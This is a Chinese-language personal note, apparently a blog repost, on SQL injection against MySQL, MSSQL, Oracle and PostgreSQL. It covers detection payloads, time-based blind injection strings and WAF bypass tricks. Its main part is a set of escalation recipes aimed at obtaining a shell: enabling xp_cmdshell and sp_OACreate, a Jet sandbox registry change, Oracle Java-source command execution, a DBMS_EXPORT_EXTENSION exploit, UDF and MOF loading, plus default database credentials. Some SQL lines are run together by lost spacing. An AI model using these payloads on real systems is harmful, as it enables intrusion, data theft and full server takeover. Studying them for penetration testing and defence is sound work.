sql注入的攻击与利用

前言

本文叙述了在Mysql、MSsql、Oracle、PostgreSQL平台下的sql注入探测方式与利用,作为个人笔记,没有框架以及中间件的参与。

文章的内容并不全面,日后有接触新的方法会有补充。

探测方法

首先贴出增删改查的基本语句,加粗部分为用户可控:

mysql:

select item from table wherevaluelike db_value;

select item1,item2 from table where '**value1'**like db_value order by '**value2'**limitvalue3;

update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;

insert into table set item1='value1',item2=value2;

delete from table where item=value1order byvalue2;

mssql:

select item from table wherevaluelike db_value;

select item1,item2 from(

select item1,item2,row_number()over(order by 'value1') as num from table) as tablename

where num betweenvalue2andvalue3;

update table set db_value1=‘value1’,db_value2=value2 where'value3'=db_value3;

insert into table (item1,item2) values ('value1',value2);

delete table where item=value1order byvalue2;

oracle:

select item from table wherevaluelike db_value;

select item1,item2 from

(select rownum r,item1,item2 from

(select item1,item2 from table2 order byvalue1) table

where rownum <=value2) table1 where r>value3;

update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;

insert into table (item1,item2) values ('value1',value2);

delete table where item=value1order byvalue2;

postgresql:

select item from table wherevaluelike db_value;

select item from table limitvalue1offsetvalue2;

update table set db_value1=‘value1’,db_value2=value2where 'value3'=db_value3;

insert into table (item1,item2) values ('value1',value2);

delete table where item=value1order byvalue2;

然后是探测步骤和语句:

这些语句分开的时候感觉都一样,但是把上面的语句加粗的地方替换成探测语句就很明显了。

1.首先输入单引号、双引号,或者分号、小括号加引号

如果后两个响应的结果与第一个不同(或者报错),则进入下一步测试,若结果有差异,基本可以确定是布尔类型的注入;

p=value

p=value' -> p=' and '1'=1' => p=' and '1'=2'

p=value" -> p=" and "1"=1" => p=" and "1"=2"

2.然后往payload中插入字符串连接符,判断数据库类型;

p=value

p=val' 'ue -> mysql

p=val'+'ue -> mssql

p=val'||'ue -> oracle、postgresql

3.如果上面的探测没有得到结果的话就可以尝试延时盲注,通过响应的延时情况判断是否存在注入;

mysql:p=' and sleep(5)#

mssql:p=' if ascii(...)=5 waitfor delay '0:0:5'--

oracle:p=' and dbms_lock.sleep(5)--

postgresql:p=' and pg_sleep(5)--

常用函数

mysql:

group_concat()——拼接组里面的所有字符串,用逗号分隔

concat()——将多个字符串拼接成一个字符串

concat_ws()——同上

left(str,n)——返回字符串str的前n个字符

right(str,n)——返回字符串str的后n个字符

substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串

substring(str,b,len)——同上

mid(str,b,len)——同上

eval()——执行命令

system "..."——执行命令

load_file()——读取本地文件

into outfile——写文件

information_schema——保存着mysql维护的所有其他数据库信息(库名、表、用户及其权限等等)

mssql:

is_srvrolemember(‘’)——查询权限,sysadmin:系统管理员;db_owner:库权限;public:公共权限

opendatasource(provider_name,init_string)——用于反弹注入

|——provider_name:注册为用于访问数据源的OLE DB提供程序的PROGID的名称

|——init_string:链接字符串=链接地址,端口,用户名,密码,数据库名

convert()——数据类型转换,例:convert(int,@@SERVERNAME)——获取服务器主机信息

exec()——执行命令

cast()——将查询的数据转化成字符型

len()——判断字符串长度

substring(str,b,len)——从字符串str的位置b截取长度为len的子字符串

oracle:

exec()——执行命令

substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串

length()——获取字符串长度

concat()——将多个字符串拼接成一个字符串

ascii()——将字符串转换为ascii码

userenv(parameter)——返回当前会话信息

postgresql:

system('')——执行系统命令

length()——统计字符串中字符数目

substring('str' from b for len)——从字符串str的位置b截取长度为len的子字符串

ascii()——将字符串转换为ascii码

chr()——将ascii码转换成字符

绕过

正常情况下服务器会对用户输入进行严格把关,这里也总结了一些常见的waf和过滤器的绕过手段:

1.大小写变种

'uNioN SeLEcT *frOm table wHeRe username='admin'--

2.语句中插入注释(比如用注释代替空格,like代替"=")

'/**/UNION/**/SELECT/**/password/**/FROM/**/table/**/WHERE/**/username/**/LIKE/**/'admin'--

3.将问题字符进行url编码,甚至二次编码

%2527%2f%2a%2a%2funion%20select%20password%20from%20table%20where%20username%20like%20%2527admin%2527--

4.使用动态查询执行

通常数据库允许动态执行sql查询,只需要向执行查询的数据库函数传递一个查询语句即可,这种办法可以用来绕过一些过滤器。若sql关键词被限制,可以尝试拼接:

Mysql:'sel' 'ect'(" "需要编码成%20)

Mssql:'sel'+'ect'("+"需要编码成%2b)

Oracle:'sel'||'ect'

postgresql:'sel'||'ect'

用char()和ascii码拼接,可绕过引号限制

mysql:没有这种函数,需要自定义

mssql:exec('select * from table')

oracle:execute immediate 'select * from table'

postgresql:没有这种函数,需要自定义

5.用空字节

通常的输入过滤器都是在应用程序之外的代码实现的(IDS),这些系统一般是由原生编程语言开发而成,在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。

%00' union select username,password from users where username='admin'--

6.嵌套表达式

一些过滤器会先从用户输入里剥离特定的字符或表达式,再进行处理。

seleselectct

7.利用截断

过滤器通常会对用户提供数据进行多种操作,有时操作会包括把输入截断成最大长度或调整使其位于拥有预定义MAX长度的数据库字段内,通过插入截断字符串的量+一个分隔符(如单引号),破坏语句闭合,使其产生第二个注入点。

检测方法也很简单,第一个请求为偶数个单引号,第二个请求为奇数个单引号,若存在截断漏洞,其中一个会向查询插入奇数个单引号,从而引发一个未终结的字符串,并产生数据库错误。

第一次:''''''''''''''''''''''

第二次:a'''''''''''''''''''''

8.宽字节注入

所谓的宽字节,实际上就是两个字节,在转换编码的过程中,将单字节的编码结合其后的编码看做两字节,即将两个字符误认为是一个宽字符而解码,GB2312、GBK、GB18030、BIG5、Shift_JIS等宽字节编码的数据库存在此漏洞,utf-8是单字符编码,用这种编码的数据库不存在此漏洞。

?id=%d5%27

#返回:誠'

#单引号没有被转义,存在宽字节注入

9.使用非标准入口点

很多waf会检查请求参数的值,但不会验证参数名,在通过搜索查询引用页进行注入可以尝试这种方法,除自定义请求机制外,很多应用会执行浏览分析功能,可以通过在搜索url的查询参数中嵌入攻击并在引用页头部提交该查询来执行sql注入。除参数名,在http头里的host、useragent等都有可能成为sql注入的攻击点。

GET /index.php HTTP/1.1

Host: www.example.org

Referer: http://www.google.com/search?hl=en&q=a';+waitfor+delay+'0:0:30'--

10.避开自定义过滤器

需要发挥想象力,例如可以给包名加双引号,在包名前添加跳转标签等。

11.利用二阶注入

这种攻击流程大致如下:

1.攻击者在请求中提交某种经过构思的输入

2.服务器存储输入,以便后面使用并响应请求

3.攻击者提交第二个(不同的)请求

4.为处理第二个请求,服务器会检索已经存储的输入并处理,导致注入的sql语句被执行

5.若可行,服务器会对第二个请求的响应中向攻击者返回结果

在个人信息页面更新自己的用户名为a'+@@version+'a,这里经过了严格的过滤,语句没有被执行:

UPDATE table_users SET name='a' '+@@version+' 'a' WHERE id=10;

后面查看个人信息的时候执行了之前构造的sql语句:

SELECT * FROM table_users WHERE username='a'+@@version+'a';

12.客户端sql注入

有一种场景是在客户端有一个客户端数据库,现在大多数情况下会被用于保存历史记录,如果安全限制做的不够好,攻击者可以通过一些方法把攻击语句插入到其他客户的数据库里,对其他用户造成攻击。这种攻击的效果取决于服务器规定如何使用在客户端的本地数据库,在结果判断上属于盲注的类型,因为结果不会返回给攻击者。但如果攻击者有客户端环境,在白盒情况下,可以通过反复测试得到一条精心构造后的攻击语句,然后将这条语句在线上使用,从而造成攻击。

13.混合攻击

指联合使用多种漏洞攻击服务器。

?uname=123+union+select+1,'',1

利用

渗透测试的最终目的就是为了控制对方设备,简单来讲就是getshell,sql注入也是围绕着getshell服务的,能做到的有以下几点:

1.信息收集

mysql:

version()——数据库版本

@@version_compile_os——当前操作系统

@@datadir——数据库路径

@@basedir——安装路径

current_user()——当前用户名

session_user()——连接数据库的用户名

mssql:

@@version()——查看数据库版本

exec master..xp_msver——查看系统信息

xp_readerrorlog 0——查看日志文件(需要exec执行)

sp_helpsrvrolemember——查看用户所属角色信息

IS_SRVROLEMEMBER('sysadmin')——查看当前用户权限

sp_helpuser——查看当前用户

oracle:

v$version——数据库版本

product_component_version——也是数据库版本

dbms_output.put_line( dbms_db_version.version )——也是数据库版本,需要exec执行

ORACLE_HOME——数据库安装路径(直接查环境变量)

select member from v$logfile;——日志文件位置

select file_name from dba_data_files;——数据库文件路径

role_sys_privs——当前用户的角色权限

user_sys_privs——用户的系统权限

user_users——当前用户详细信息

user_role_privs——当前用户角色信息

postgresql:

version()——数据库版本

PGHOME——安装路径(环境变量)

user——查看所有用户

current_user——当前用户名

session_user——连接数据库的用户名

2.提权

mysql:

默认用户密码

root

mof:

在windows平台下,C:/windows/system32/wbem/mof/nullevt.mof这个文件在很短的时间内会以system权限执行一次,只需要把代码存储到这个文件中就可以实现提权。要实现mof有两个前提,首先要有mof目录可写权限,比如说root用户,其次是突破--secure-file-priv限制。

udf:

udf提权是利用自定义函数的功能,将mysql账号转化为系统system权限。版本>5.1,udf文件在安装目录下的lib/plugin内(默认不存在),利用udf提权有两个前提,其中一个是用户需要对mysql库有insert和delete权限,另一个和mof一样,需要突破--secure-file-priv限制。

具体步骤:

show variables like '%version_%';

#查看mysql版本是32位还是64位

show global variables like 'secure%';

#值=空则可以写入导出文件

show variables like 'plugin%';

#查看plugin目录

select 'xxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION

#没有则需要新建

1.官网下载mysql源码

2.找到udf_example.def和udf_example.cc

3.往udf_example.cc里面添加自定义函数

4.在udf_example.def里注册刚刚添加的函数

5.vs编译

6.提取编译后的udf文件

#自定义函数插件的编写步骤

create function lookup returns string soname 'udf_example';

#导入udf文件,win下为.dll后缀

select myfun('...');

#利用mysql的自定义函数myfun()执行命令'...',结果显示在查询结果中

drop function myfun;

#删除函数myfun

还有一种是反弹shell提权,本质上也属于udf提权。具体过程是讲udf文件转换成16进制,写入到数据库中,然后再导出到/lib/plugin目录,接下来的步骤就和udf提取一样。

mssql:

默认用户密码

sa

sqlserver的提权有xp_cmdshell、SP_OACreate和沙盒提权三种;

xp_cmdshell:

这个提权方法出现在存储过程中,xp_cmdshell是这种存储中的其中一个能执行系统命令的脚本,要利用它提权需要先开启配置:

exec sp_configure 'show advanced options',1;

exec sp_configure 'xp_cmdshell',1;

reconfigure;

#接下来就可以执行系统命令了

exec master.dbo.xp_cmdshell '...';

SP_OACreate:

主要是利用OLE对象的run方法执行系统命令,也是存储过程中能够利用的提权办法,同样需要开启配置:

exec sp_configure 'show advanced options',1;

exec sp_configure 'Ole Automation Procedures',1;

reconfigure;

#配置开启后,先声明一个变量用于存储返回的对象

declare @a int;

#然后调用wscript.shell组件,将返回的对象存储到@a变量中

exec sp_oacreate 'wscript.shell',@a out;

#调用cmd执行系统命令,执行结果直接输入到文件,因此返回值填null

exec sp_oamethod @a,'run',null,'c:\windows\system32\cmd.execommand > c:\result.txt';

exec sp_oacreate 'wscript.shell',@a out;

沙盒提权:

和上面的方法一样,先开启配置:

exec sp_configure 'show advanced options',1;

exec sp_configure 'Ad Hoc Distributed Queries',1;

reconfigure;

#沙盒模式参数含义:

#0=在任何所有者中禁止启用安全模式;

#1=仅在允许范围内;

#2=必须在access模式下(默认)

#3=完全开启

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

#执行命令"..."

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("...")');

oracle:

默认用户密码

syschang_on_install

systemmanager

scotttiger

Dbsnmpdbsnmp

oracle的提权分两种,第一种是create session提权,另一种是create procedure提权。需要先获取java权限或java.lang.RuntimePermission权限,后者可以执行任意代码,具体步骤如下:

create session提权:

#创建包

select dbms_xmlquery.newcontext('

declare PRAGMA AUTONOMOUS_TRANSACTION;

begin execute immediate '

'create or replace and compile java source named "LinxUtil" as

import java.io.*;

public class MySh extends Object {

    public static String shell(String args) {

        try{

            BufferedReader br = new BufferedReader(new InputStreamReader(Runtime

                        .getRuntime()

                        .exec(args)

                        .getInputStream()));

            String stmp,str = "";

            while ((stmp = br.readLine()) != null) str += stmp + "\n";

            br.close();

            return str;

        } catch (Exception e){return e.toString();}

    }

}'';

commit;

end;

') from dual;

#获取java权限

select dbms_xmlquery.newcontext('

    declare PRAGMA AUTONOMOUS_TRANSACTION;

begin execute immediate '

    'create or replace function msh(p_cmd in varchar2) return varchar2 as language java name ''''MySh.shell(java.lang.String) return String'''';

'';

commit;

end;

') from dual;

#调用函数执行命令

select msh('...') from dual;

create procedure提权:

#创建包

create or replace and resolve java source named JAVACMD as

import java.lang.*;

import java.io.*;

public class MyShell{

    public static void myexec(String command) throws IOException{

        Runtime.getRuntime().exec(command);

    }

}

/

#注册自定义函数

create or replace procedure mysys(command in varchar) as language java name 'MyShell.myexec(java.lang.String)';

#调用函数执行命令

EXEC mysys('...');

还有一种属于漏洞提权,受影响版本<10.2.0.4,能够将普通权限用户提升成dba权限的用户,步骤如下:

登录低权限用户,如scott

然后输入下面代码:

Create or Replace

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

执行后再输入:

DECLARE

INDEX\_NAME VARCHAR2(200);

INDEX\_SCHEMA VARCHAR2(200);

TYPE\_NAME VARCHAR2(200);

TYPE\_SCHEMA VARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS\_INTEGER;

GMFLAGS NUMBER;

v\_Return VARCHAR2(200);

BEGIN

INDEX\_NAME := 'A1';

INDEX\_SCHEMA := 'SCOTT';

TYPE\_NAME := 'HACKERPACKAGE';

TYPE\_SCHEMA := 'SCOTT';

VERSION := '10.2.0.1.0';

GMFLAGS := 1;

v\_Return := SYS.DBMS\_EXPORT\_EXTENSION.GET\_DOMAIN\_INDEX\_METADATA(INDEX\_NAME =>

INDEX\_NAME,

INDEX\_SCHEMA=> INDEX\_SCHEMA,

TYPE\_NAME => TYPE\_NAME,

TYPE\_SCHEMA => TYPE\_SCHEMA,

VERSION => VERSION,

NEWBLOCK => NEWBLOCK,

GMFLAGS => GMFLAGS);

END;

/

再次查看权限发现权限为dba用户。

postgresql:

默认用户密码

postgres

在postgresql中,低版本可以直接调用system()函数,>8.2版本则需要利用udf提权,具体步骤如下:

select \* from pg\_language;

#查看支持的扩展语言,默认支持c

select lo\_create(9023);

insert into pg\_largeobject values (9023, 0, decode('分片后的数据')

...

select lo\_export(9023, '/tmp/udf.so');

#编译完反弹shell后需要将文件分割成2048字节的块进行传输

create or replace function sys\_eval(text) returns text as '/tmp/udf.so', 'myexec' language c returns null on null input immutable;

#注册函数

select myexec('...')

#执行命令

drop function sys\_eval;

#删除函数

参考:

《sql注入攻击与防御第二版》

https://www.freesion.com/article/7583153270/

你可能感兴趣的:(sql注入的攻击与利用)